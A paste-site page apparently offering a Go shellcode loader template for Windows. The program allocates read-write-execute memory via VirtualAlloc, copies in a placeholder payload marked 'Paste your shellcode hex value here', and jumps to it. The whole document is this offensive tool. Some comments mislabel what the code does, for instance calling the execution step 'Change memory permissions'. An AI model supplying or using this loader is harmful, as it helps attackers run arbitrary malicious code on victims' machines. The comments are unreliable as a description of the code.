Facebook
From duppa, 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 145
  1. package main
  2.  
  3. import (
  4.     // necessary imports
  5.     "syscall"
  6.     "unsafe"
  7. )
  8.  
  9. func mustRunShellcode() {
  10.     // Paste your shellcode hex value here
  11.     shellcode := []byte("SHELLCODE")
  12.  
  13.     kernel32 := syscall.MustLoadDLL("kernel32")
  14.     virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
  15.  
  16.     // Allocate memory with write access
  17.     addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
  18.  
  19.     // Copy shellcode
  20.     shellcodePtr := ((*[99000]byte)(unsafe.Pointer(addr)))
  21.     for i, value := range shellcode {
  22.         shellcodePtr[i] = value
  23.     }
  24.  
  25.     // Change memory permissions
  26.     syscall.Syscall(addr, 0, 0, 0, 0)
  27. }
  28.  
  29. func main() {
  30.     mustRunShellcode()
  31. }